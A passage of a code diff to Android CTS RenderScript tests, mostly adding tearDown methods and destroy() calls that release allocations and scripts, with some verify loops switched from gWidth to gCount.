             if (a1[i] != a2[i]) {
                 if ((vsize == 3) && ((i % 4) == 3)) {
                     continue;
@@ -131,7 +157,7 @@
 
     private void verify(short[] a1, short[] a2, Allocation alloc, String s, int vsize) {
         alloc.copyTo(a2);
-        for (int i=0; i < gWidth; i++) {
+        for (int i=0; i < gCount; i++) {
             if (a1[i] != a2[i]) {
                 if ((vsize == 3) && ((i % 4) == 3)) {
                     continue;
@@ -145,7 +171,7 @@
 
     private void verify(int[] a1, int[] a2, Allocation alloc, String s, int vsize) {
         alloc.copyTo(a2);
-        for (int i=0; i < gWidth; i++) {
+        for (int i=0; i < gCount; i++) {
             if (a1[i] != a2[i]) {
                 if ((vsize == 3) && ((i % 4) == 3)) {
                     continue;
@@ -159,7 +185,7 @@
 
     private void verify(long[] a1, long[] a2, Allocation alloc, String s, int vsize) {
         alloc.copyTo(a2);
-        for (int i=0; i < gWidth; i++) {
+        for (int i=0; i < gCount; i++) {
             if (a1[i] != a2[i]) {
                 if ((vsize == 3) && ((i % 4) == 3)) {
                     continue;
@@ -173,7 +199,7 @@
 
     private void verify(float[] a1, float[] a2, Allocation alloc, String s, int vsize) {
         alloc.copyTo(a2);
-        for (int i=0; i < gWidth; i++) {
+        for (int i=0; i < gCount; i++) {
             if (a1[i] != a2[i]) {
                 if ((vsize == 3) && ((i % 4) == 3)) {
                     continue;
@@ -187,7 +213,7 @@
 
     private void verify(double[] a1, double[] a2, Allocation alloc, String s, int vsize) {
         alloc.copyTo(a2);
-        for (int i=0; i < gWidth; i++) {
+        for (int i=0; i < gCount; i++) {
             if (a1[i] != a2[i]) {
                 if ((vsize == 3) && ((i % 4) == 3)) {
                     continue;
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/GlobalSync.java b/tests/tests/renderscript/src/android/renderscript/cts/GlobalSync.java
index c446ba1..8429cdf 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/GlobalSync.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/GlobalSync.java
@@ -42,6 +42,17 @@
         AIn.copyFrom(In);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        if (AFailed != null) {
+            AFailed.destroy();
+        }
+        if (AIn != null) {
+            AIn.destroy();
+        }
+        super.tearDown();
+    }
+
     /**
      * Test whether we are properly synchronizing extern global data
      * when going from kernel to invokable.
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/ImageProcessingTest.java b/tests/tests/renderscript/src/android/renderscript/cts/ImageProcessingTest.java
index df8a6fe..c069760 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/ImageProcessingTest.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/ImageProcessingTest.java
@@ -76,6 +76,13 @@
         a2 = Allocation.createTyped(mRS, t);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        a1.destroy();
+        a2.destroy();
+        super.tearDown();
+    }
+
     public void testBlur() {
         ScriptIntrinsicBlur mBlur;
         mBlur = ScriptIntrinsicBlur.create(mRS, Element.U8_4(mRS));
@@ -97,6 +104,9 @@
 
         }
 
+        a1_copy.destroy();
+        a2_copy.destroy();
+        mBlur.destroy();
     }
 
     public void testBlend() {
@@ -209,6 +219,10 @@
             Log.v("BlendUnit", name + " " + similar(resultData, dstData));
 
         }
+
+        src.destroy();
+        dst.destroy();
+        mBlend.destroy();
     }
 
     // utility to create and allocation of a given dimension
@@ -679,9 +693,9 @@
 
         mColorMatrix.forEach(a1_copy, a2_copy);
 
-        //validate color matrix
-
-
+        a1_copy.destroy();
+        a2_copy.destroy();
+        mColorMatrix.destroy();
     }
 
     public void testConvolve3x3() {
@@ -703,8 +717,9 @@
         mConvolve3x3.setInput(a1_copy);
         mConvolve3x3.forEach(a2_copy);
 
-        // validate
-
+        a1_copy.destroy();
+        a2_copy.destroy();
+        mConvolve3x3.destroy();
     }
 
     public void testConvolve5x5() {
@@ -728,8 +743,9 @@
         mConvolve5x5.setInput(a1_copy);
         mConvolve5x5.forEach(a2_copy);
 
-        // validate
-
+        a1_copy.destroy();
+        a2_copy.destroy();
+        mConvolve5x5.destroy();
     }
 
     public void testLUT() {
@@ -769,8 +785,9 @@
 
         mLUT.forEach(a1_copy, a2_copy);
 
-        // validate
-
+        a1_copy.destroy();
+        a2_copy.destroy();
+        mLUT.destroy();
     }
 
     public void testScriptGroup() {
@@ -815,6 +832,10 @@
 
         // validate
 
+        a1_copy.destroy();
+        a2_copy.destroy();
+        mConvolve3x3.destroy();
+        mColorMatrix.destroy();
     }
 
 
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/InitTest.java b/tests/tests/renderscript/src/android/renderscript/cts/InitTest.java
index ec22249..c63d7f1 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/InitTest.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/InitTest.java
@@ -50,5 +50,9 @@
         }
         mOut.copyTo(out);
         checkArray(ref, out, INPUTSIZE, 1, 1, 0);
+
+        mIn.destroy();
+        mOut.destroy();
+        script.destroy();
     }
 }
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/Intrinsic3DLut.java b/tests/tests/renderscript/src/android/renderscript/cts/Intrinsic3DLut.java
index 4ec84ad..d21f669 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/Intrinsic3DLut.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/Intrinsic3DLut.java
@@ -27,6 +27,20 @@
     final int sy = 32;
     final int sz = 16;
 
+    @Override
+    protected void tearDown() throws Exception {
+        if (mCube != null) {
+            mCube.destroy();
+        }
+        if (mScript != null) {
+            mScript.destroy();
+        }
+        if (mIntrinsic != null) {
+            mIntrinsic.destroy();
+        }
+        super.tearDown();
+    }
+
     private void genCubeIdent() {
         int dat[] = new int[sx * sy * sz];
         for (int z = 0; z < sz; z++) {
@@ -142,6 +156,7 @@
         if (kid == null) {
             throw new IllegalStateException("kid must be valid");
         }
+        s.destroy();
     }
 
 }
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/IntrinsicBase.java b/tests/tests/renderscript/src/android/renderscript/cts/IntrinsicBase.java
index 6a1c944..c128375 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/IntrinsicBase.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/IntrinsicBase.java
@@ -41,8 +41,20 @@
     protected void tearDown() throws Exception {
         if (mVerify != null) {
             mVerify.destroy();
-            mVerify = null;
         }
+
+        if (mAllocSrc != null) {
+            mAllocSrc.destroy();
+        }
+
+        if (mAllocRef != null) {
+            mAllocRef.destroy();
+        }
+
+        if (mAllocDst != null) {
+            mAllocDst.destroy();
+        }
+
         super.tearDown();
     }
 
@@ -81,9 +93,6 @@
     }
 
     protected void makeSource(int w, int h, Element e) {
-        if (mAllocSrc != null) {
-            mAllocSrc.destroy();
-        }
         mAllocSrc = makeAllocation(w, h, e);
 
         java.util.Random r = new java.util.Random(100);
@@ -118,12 +127,6 @@
     protected void makeBuffers(int w, int h, Element e) {
         makeSource(w, h, e);
 
-        if (mAllocRef != null) {
-            mAllocRef.destroy();
-        }
-        if (mAllocDst != null) {
-            mAllocDst.destroy();
-        }
         mAllocRef = makeAllocation(w, h, e);
         mAllocDst = makeAllocation(w, h, e);
     }
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/IntrinsicBlur.java b/tests/tests/renderscript/src/android/renderscript/cts/IntrinsicBlur.java
index 4e99391..e9cbc8d 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/IntrinsicBlur.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/IntrinsicBlur.java
@@ -28,7 +28,22 @@
     private Allocation mScratchPixelsAllocation1;
     private Allocation mScratchPixelsAllocation2;
 
-
+    @Override
+    protected void tearDown() throws Exception {
+        if (mIntrinsic != null) {
+            mIntrinsic.destroy();
+        }
+        if (mScript != null) {
+            mScript.destroy();
+        }
+        if (mScratchPixelsAllocation1 != null) {
+            mScratchPixelsAllocation1.destroy();
+        }
+        if (mScratchPixelsAllocation2 != null) {
+            mScratchPixelsAllocation2.destroy();
+        }
+        super.tearDown();
+    }
 
     private void initTest(int w, int h, Element e, Script.LaunchOptions lo) {
         makeBuffers(w, h, e);
@@ -152,6 +167,8 @@
         if (fid == null) {
             throw new IllegalStateException("fid must be valid");
         }
+
+        s.destroy();
     }
 
 }
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/IntrinsicColorMatrix.java b/tests/tests/renderscript/src/android/renderscript/cts/IntrinsicColorMatrix.java
index ac48783..c404122 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/IntrinsicColorMatrix.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/IntrinsicColorMatrix.java
@@ -23,6 +23,15 @@
     protected ScriptIntrinsicColorMatrix mSi;
     protected ScriptC_intrinsic_colormatrix mSr;
 
+    @Override
+    protected void tearDown() throws Exception {
+        if (mSi != null) {
+            mSi.destroy();
+            mSr.destroy();
+        }
+        super.tearDown();
+    }
+
     private void subtest(int w, int h, Matrix4f mat, Float4 add,
                          Element.DataType dtIn, int vsIn,
                          Element.DataType dtOut, int vsOut,
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/IntrinsicConvolve3x3.java b/tests/tests/renderscript/src/android/renderscript/cts/IntrinsicConvolve3x3.java
index 8a2bc27..d9fe7b7 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/IntrinsicConvolve3x3.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/IntrinsicConvolve3x3.java
@@ -161,6 +161,9 @@
         mVerify.invoke_verify(mAllocRef, mAllocDst, mAllocSrc);
 
         mRS.finish();
+
+        si.destroy();
+        sr.destroy();
     }
 
 
@@ -258,6 +261,8 @@
         if (fid == null) {
             throw new IllegalStateException("fid must be valid");
         }
+
+        s.destroy();
     }
 
 }
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/IntrinsicConvolve5x5.java b/tests/tests/renderscript/src/android/renderscript/cts/IntrinsicConvolve5x5.java
index 410aebd..bb7ef1f 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/IntrinsicConvolve5x5.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/IntrinsicConvolve5x5.java
@@ -103,6 +103,9 @@
         test5(sr, si, e, cf1, "test convolve", 1, w, h, sc);
         test5(sr, si, e, cf2, "test convolve", 2, w, h, sc);
         test5(sr, si, e, cf3, "test convolve", 3, w, h, sc);
+
+        si.destroy();
+        sr.destroy();
     }
 
     public void test_U8_4() {
@@ -195,6 +198,8 @@
         if (fid == null) {
             throw new IllegalStateException("fid must be valid");
         }
+
+        s.destroy();
     }
 
 }
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/IntrinsicHistogram.java b/tests/tests/renderscript/src/android/renderscript/cts/IntrinsicHistogram.java
index 94cc4ce..3740555 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/IntrinsicHistogram.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/IntrinsicHistogram.java
@@ -23,6 +23,17 @@
     private Allocation mAin;
     private Allocation mAout;
 
+    @Override
+    protected void tearDown() throws Exception {
+        if (mAin != null) {
+            mAin.destroy();
+        }
+        if (mAout != null) {
+            mAout.destroy();
+        }
+        super.tearDown();
+    }
+
     private void createAllocations(int inVSize, int outVSize, int w, int h) {
         Element e1;
         Element e2;
@@ -96,6 +107,8 @@
         for (int ct=0; ct < res.length; ct++) {
             assertTrue(res[ct] == ref[ct]);
         }
+
+        hist.destroy();
     }
 
     public void test_norm_4_4() {
@@ -221,6 +234,8 @@
         for (int ct=0; ct < res.length; ct++) {
             assertTrue(res[ct] == ref[ct]);
         }
+
+        hist.destroy();
     }
 
     public void test_dot_1() {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/IntrinsicLut.java b/tests/tests/renderscript/src/android/renderscript/cts/IntrinsicLut.java
index 3309bb0..f538e45 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/IntrinsicLut.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/IntrinsicLut.java
@@ -28,7 +28,16 @@
     short mBlue[] = new short[256];
     short mAlpha[] = new short[256];
 
-
+    @Override
+    protected void tearDown() throws Exception {
+        if (mIntrinsic != null) {
+            mIntrinsic.destroy();
+        }
+        if (mScript != null) {
+            mScript.destroy();
+        }
+        super.tearDown();
+    }
 
     public void createTest() {
         java.util.Random r = new java.util.Random(100);
@@ -89,6 +98,7 @@
         if (kid == null) {
             throw new IllegalStateException("kid must be valid");
         }
+        s.destroy();
     }
 
 }
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/IntrinsicResize.java b/tests/tests/renderscript/src/android/renderscript/cts/IntrinsicResize.java
index 9392db1..e542f37 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/IntrinsicResize.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/IntrinsicResize.java
@@ -94,6 +94,9 @@
             mVerify.invoke_verify(mAllocDst, mAllocSrc, mAllocSrc);
         }
         mRS.finish();
+
+        si.destroy();
+        sr.destroy();
     }
 
 
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/IsObjectTest.java b/tests/tests/renderscript/src/android/renderscript/cts/IsObjectTest.java
index 0bb17cb..a22424f 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/IsObjectTest.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/IsObjectTest.java
@@ -50,6 +50,19 @@
         ms_is_object = new ScriptC_is_object(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        if (mIn != null) {
+            mIn.destroy();
+        }
+        if (mOut != null) {
+            mOut.destroy();
+        }
+        allocation.destroy();
+        ms_is_object.destroy();
+        super.tearDown();
+    }
+
     /**
      * is object test
      */
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/KernelInputTest.java b/tests/tests/renderscript/src/android/renderscript/cts/KernelInputTest.java
index ecb1b6d..711ac03 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/KernelInputTest.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/KernelInputTest.java
@@ -75,6 +75,10 @@
         script.invoke_verify_input_char(ain);
 
         checkForErrorsInScript(script);
+
+        ain.destroy();
+        tmp.destroy();
+        script.destroy();
     }
 
     public void testInputNotModified_char2() {
@@ -88,6 +92,10 @@
         script.invoke_verify_input_char2(ain);
 
         checkForErrorsInScript(script);
+
+        ain.destroy();
+        tmp.destroy();
+        script.destroy();
     }
 
     public void testInputNotModified_char3() {
@@ -101,6 +109,10 @@
         script.invoke_verify_input_char3(ain);
 
         checkForErrorsInScript(script);
+
+        ain.destroy();
+        tmp.destroy();
+        script.destroy();
     }
 
     public void testInputNotModified_char4() {
@@ -114,6 +126,10 @@
         script.invoke_verify_input_char4(ain);
 
         checkForErrorsInScript(script);
+
+        ain.destroy();
+        tmp.destroy();
+        script.destroy();
     }
 
     public void testInputNotModified_double() {
@@ -127,6 +143,10 @@
         script.invoke_verify_input_double(ain);
 
         checkForErrorsInScript(script);
+
+        ain.destroy();
+        tmp.destroy();
+        script.destroy();
     }
 
     public void testInputNotModified_double2() {
@@ -140,6 +160,10 @@
         script.invoke_verify_input_double2(ain);
 
         checkForErrorsInScript(script);
+
+        ain.destroy();
+        tmp.destroy();
+        script.destroy();
     }
 
     public void testInputNotModified_double3() {
@@ -153,6 +177,10 @@
         script.invoke_verify_input_double3(ain);
 
         checkForErrorsInScript(script);
+
+        ain.destroy();
+        tmp.destroy();
+        script.destroy();
     }
 
     public void testInputNotModified_double4() {
@@ -166,6 +194,10 @@
         script.invoke_verify_input_double4(ain);
 
         checkForErrorsInScript(script);
+
+        ain.destroy();
+        tmp.destroy();
+        script.destroy();
     }
 
     public void testInputNotModified_float() {
@@ -179,6 +211,10 @@
         script.invoke_verify_input_float(ain);
 
         checkForErrorsInScript(script);
+
+        ain.destroy();
+        tmp.destroy();
+        script.destroy();
     }
 
     public void testInputNotModified_float2() {
@@ -192,6 +228,10 @@
         script.invoke_verify_input_float2(ain);
 
         checkForErrorsInScript(script);
+
+        ain.destroy();
+        tmp.destroy();
+        script.destroy();
     }
 
     public void testInputNotModified_float3() {
@@ -205,6 +245,10 @@
         script.invoke_verify_input_float3(ain);
 
         checkForErrorsInScript(script);
+
+        ain.destroy();
+        tmp.destroy();
+        script.destroy();
     }
 
     public void testInputNotModified_float4() {
@@ -218,6 +262,10 @@
         script.invoke_verify_input_float4(ain);
 
         checkForErrorsInScript(script);
+
+        ain.destroy();
+        tmp.destroy();
+        script.destroy();
     }
 
     public void testInputNotModified_int() {
@@ -231,6 +279,10 @@
         script.invoke_verify_input_int(ain);
 
         checkForErrorsInScript(script);
+
+        ain.destroy();
+        tmp.destroy();
+        script.destroy();
     }
 
     public void testInputNotModified_int2() {
@@ -244,6 +296,10 @@
         script.invoke_verify_input_int2(ain);
 
         checkForErrorsInScript(script);
+
+        ain.destroy();
+        tmp.destroy();
+        script.destroy();
     }
 
     public void testInputNotModified_int3() {
@@ -257,6 +313,10 @@
         script.invoke_verify_input_int3(ain);
 
         checkForErrorsInScript(script);
+
+        ain.destroy();
+        tmp.destroy();
+        script.destroy();
     }
 
     public void testInputNotModified_int4() {
@@ -270,6 +330,10 @@
         script.invoke_verify_input_int4(ain);
 
         checkForErrorsInScript(script);
+
+        ain.destroy();
+        tmp.destroy();
+        script.destroy();
     }
 
     public void testInputNotModified_long() {
@@ -283,6 +347,10 @@
         script.invoke_verify_input_long(ain);
 
         checkForErrorsInScript(script);
+
+        ain.destroy();
+        tmp.destroy();
+        script.destroy();
     }
 
     public void testInputNotModified_long2() {
@@ -296,6 +364,10 @@
         script.invoke_verify_input_long2(ain);
 
         checkForErrorsInScript(script);
+
+        ain.destroy();
+        tmp.destroy();
+        script.destroy();
     }
 
     public void testInputNotModified_long3() {
@@ -309,6 +381,10 @@
         script.invoke_verify_input_long3(ain);
 
         checkForErrorsInScript(script);
+
+        ain.destroy();
+        tmp.destroy();
+        script.destroy();
     }
 
     public void testInputNotModified_long4() {
@@ -322,6 +398,10 @@
         script.invoke_verify_input_long4(ain);
 
         checkForErrorsInScript(script);
+
+        ain.destroy();
+        tmp.destroy();
+        script.destroy();
     }
 
     public void testInputNotModified_short() {
@@ -335,6 +415,10 @@
         script.invoke_verify_input_short(ain);
 
         checkForErrorsInScript(script);
+
+        ain.destroy();
+        tmp.destroy();
+        script.destroy();
     }
 
     public void testInputNotModified_short2() {
@@ -348,6 +432,10 @@
         script.invoke_verify_input_short2(ain);
 
         checkForErrorsInScript(script);
+
+        ain.destroy();
+        tmp.destroy();
+        script.destroy();
     }
 
     public void testInputNotModified_short3() {
@@ -361,6 +449,10 @@
         script.invoke_verify_input_short3(ain);
 
         checkForErrorsInScript(script);
+
+        ain.destroy();
+        tmp.destroy();
+        script.destroy();
     }
 
     public void testInputNotModified_short4() {
@@ -374,6 +466,10 @@
         script.invoke_verify_input_short4(ain);
 
         checkForErrorsInScript(script);
+
+        ain.destroy();
+        tmp.destroy();
+        script.destroy();
     }
 
     public void testInputNotModified_uchar() {
@@ -387,6 +483,10 @@
         script.invoke_verify_input_uchar(ain);
 
         checkForErrorsInScript(script);
+
+        ain.destroy();
+        tmp.destroy();
+        script.destroy();
     }
 
     public void testInputNotModified_uchar2() {
@@ -400,6 +500,10 @@
         script.invoke_verify_input_uchar2(ain);
 
         checkForErrorsInScript(script);
+
+        ain.destroy();
+        tmp.destroy();
+        script.destroy();
     }
 
     public void testInputNotModified_uchar3() {
@@ -413,6 +517,10 @@
         script.invoke_verify_input_uchar3(ain);
 
         checkForErrorsInScript(script);
+
+        ain.destroy();
+        tmp.destroy();
+        script.destroy();
     }
 
     public void testInputNotModified_uchar4() {
@@ -426,6 +534,10 @@
         script.invoke_verify_input_uchar4(ain);
 
         checkForErrorsInScript(script);
+
+        ain.destroy();
+        tmp.destroy();
+        script.destroy();
     }
 
     public void testInputNotModified_uint() {
@@ -439,6 +551,10 @@
         script.invoke_verify_input_uint(ain);
 
         checkForErrorsInScript(script);
+
+        ain.destroy();
+        tmp.destroy();
+        script.destroy();
     }
 
     public void testInputNotModified_uint2() {
@@ -452,6 +568,10 @@
         script.invoke_verify_input_uint2(ain);
 
         checkForErrorsInScript(script);
+
+        ain.destroy();
+        tmp.destroy();
+        script.destroy();
     }
 
     public void testInputNotModified_uint3() {
@@ -465,6 +585,10 @@
         script.invoke_verify_input_uint3(ain);
 
         checkForErrorsInScript(script);
+
+        ain.destroy();
+        tmp.destroy();
+        script.destroy();
     }
 
     public void testInputNotModified_uint4() {
@@ -478,6 +602,10 @@
         script.invoke_verify_input_uint4(ain);
 
         checkForErrorsInScript(script);
+
+        ain.destroy();
+        tmp.destroy();
+        script.destroy();
     }
 
     public void testInputNotModified_ulong() {
@@ -491,6 +619,10 @@
         script.invoke_verify_input_ulong(ain);
 
         checkForErrorsInScript(script);
+
+        ain.destroy();
+        tmp.destroy();
+        script.destroy();
     }
 
     public void testInputNotModified_ulong2() {
@@ -504,6 +636,10 @@
         script.invoke_verify_input_ulong2(ain);
 
         checkForErrorsInScript(script);
+
+        ain.destroy();
+        tmp.destroy();
+        script.destroy();
     }
 
     public void testInputNotModified_ulong3() {
@@ -517,6 +653,10 @@
         script.invoke_verify_input_ulong3(ain);
 
         checkForErrorsInScript(script);
+
+        ain.destroy();
+        tmp.destroy();
+        script.destroy();
     }
 
     public void testInputNotModified_ulong4() {
@@ -530,6 +670,10 @@
         script.invoke_verify_input_ulong4(ain);
 
         checkForErrorsInScript(script);
+
+        ain.destroy();
+        tmp.destroy();
+        script.destroy();
     }
 
     public void testInputNotModified_ushort() {
@@ -543,6 +687,10 @@
         script.invoke_verify_input_ushort(ain);
 
         checkForErrorsInScript(script);
+
+        ain.destroy();
+        tmp.destroy();
+        script.destroy();
     }
 
     public void testInputNotModified_ushort2() {
@@ -556,6 +704,10 @@
         script.invoke_verify_input_ushort2(ain);
 
         checkForErrorsInScript(script);
+
+        ain.destroy();
+        tmp.destroy();
+        script.destroy();
     }
 
     public void testInputNotModified_ushort3() {
@@ -569,6 +721,10 @@
         script.invoke_verify_input_ushort3(ain);
 
         checkForErrorsInScript(script);
+
+        ain.destroy();
+        tmp.destroy();
+        script.destroy();
     }
 
     public void testInputNotModified_ushort4() {
@@ -582,6 +738,10 @@
         script.invoke_verify_input_ushort4(ain);
 
         checkForErrorsInScript(script);
+
+        ain.destroy();
+        tmp.destroy();
+        script.destroy();
     }
 
     public void testInputsNotModified_small() {
@@ -596,6 +756,9 @@
         script.invoke_verify_input_small(item.getAllocation());
 
         checkForErrorsInScript(script);
+
+        tmp.destroy();
+        script.destroy();
     }
 
     public void testInputsNotModified_big() {
@@ -615,5 +778,8 @@
        }
 
       checkForErrorsInScript(script);
+
+      tmp.destroy();
+      script.destroy();
     }
 }
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/KernelTest.java b/tests/tests/renderscript/src/android/renderscript/cts/KernelTest.java
index 90d4fe9..0ec6437 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/KernelTest.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/KernelTest.java
@@ -73,6 +73,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // I8_2
         t = new Type.Builder(mRS, Element.I8_2(mRS)).setX(x).create();
@@ -87,6 +89,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // I8_3
         t = new Type.Builder(mRS, Element.I8_3(mRS)).setX(x).create();
@@ -101,6 +105,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // I8_4
         t = new Type.Builder(mRS, Element.I8_4(mRS)).setX(x).create();
@@ -115,6 +121,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // I16
         t = new Type.Builder(mRS, Element.I16(mRS)).setX(x).create();
@@ -129,6 +137,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // I16_2
         t = new Type.Builder(mRS, Element.I16_2(mRS)).setX(x).create();
@@ -143,6 +153,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // I16_3
         t = new Type.Builder(mRS, Element.I16_3(mRS)).setX(x).create();
@@ -157,6 +169,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // I16_4
         t = new Type.Builder(mRS, Element.I16_4(mRS)).setX(x).create();
@@ -171,6 +185,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // I32
         t = new Type.Builder(mRS, Element.I32(mRS)).setX(x).create();
@@ -185,6 +201,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // I32_2
         t = new Type.Builder(mRS, Element.I32_2(mRS)).setX(x).create();
@@ -199,6 +217,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // I32_3
         t = new Type.Builder(mRS, Element.I32_3(mRS)).setX(x).create();
@@ -213,6 +233,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // I32_4
         t = new Type.Builder(mRS, Element.I32_4(mRS)).setX(x).create();
@@ -227,6 +249,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // I64
         t = new Type.Builder(mRS, Element.I64(mRS)).setX(x).create();
@@ -241,6 +265,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // I64_2
         t = new Type.Builder(mRS, Element.I64_2(mRS)).setX(x).create();
@@ -255,6 +281,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // I64_3
         t = new Type.Builder(mRS, Element.I64_3(mRS)).setX(x).create();
@@ -269,6 +297,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // I64_4
         t = new Type.Builder(mRS, Element.I64_4(mRS)).setX(x).create();
@@ -283,6 +313,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // F32
         t = new Type.Builder(mRS, Element.F32(mRS)).setX(x).create();
@@ -296,6 +328,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // F32_2
         t = new Type.Builder(mRS, Element.F32_2(mRS)).setX(x).create();
@@ -310,6 +344,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // F32_3
         t = new Type.Builder(mRS, Element.F32_3(mRS)).setX(x).create();
@@ -323,6 +359,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // F32_4
         t = new Type.Builder(mRS, Element.F32_4(mRS)).setX(x).create();
@@ -336,6 +374,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // F64
         t = new Type.Builder(mRS, Element.F64(mRS)).setX(x).create();
@@ -349,6 +389,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // F64_2
         t = new Type.Builder(mRS, Element.F64_2(mRS)).setX(x).create();
@@ -362,6 +404,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // F64_3
         t = new Type.Builder(mRS, Element.F64_3(mRS)).setX(x).create();
@@ -375,6 +419,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // F64_4
         t = new Type.Builder(mRS, Element.F64_4(mRS)).setX(x).create();
@@ -388,6 +434,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // kernel_test (struct)
         in = new ScriptField_kernel_test(mRS, x).getAllocation();
@@ -400,6 +448,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // BOOLEAN
         t = new Type.Builder(mRS, Element.BOOLEAN(mRS)).setX(x).create();
@@ -413,6 +463,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // A_8
         t = new Type.Builder(mRS, Element.I8(mRS)).setX(x).create();
@@ -427,6 +479,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // RGBA_8888
         t = new Type.Builder(mRS, Element.I8_4(mRS)).setX(x).create();
@@ -441,6 +495,8 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
 
         // RGB_888
         t = new Type.Builder(mRS, Element.I8_3(mRS)).setX(x).create();
@@ -455,6 +511,11 @@
             fail("should throw RSRuntimeException");
         } catch (RSRuntimeException e) {
         }
+        in.destroy();
+        out.destroy();
+
+        badOut.destroy();
+        kernel_all.destroy();
     }
 
 
@@ -477,6 +538,9 @@
         mRS.finish();
         waitForMessage();
         checkForErrors();
+
+        A.destroy();
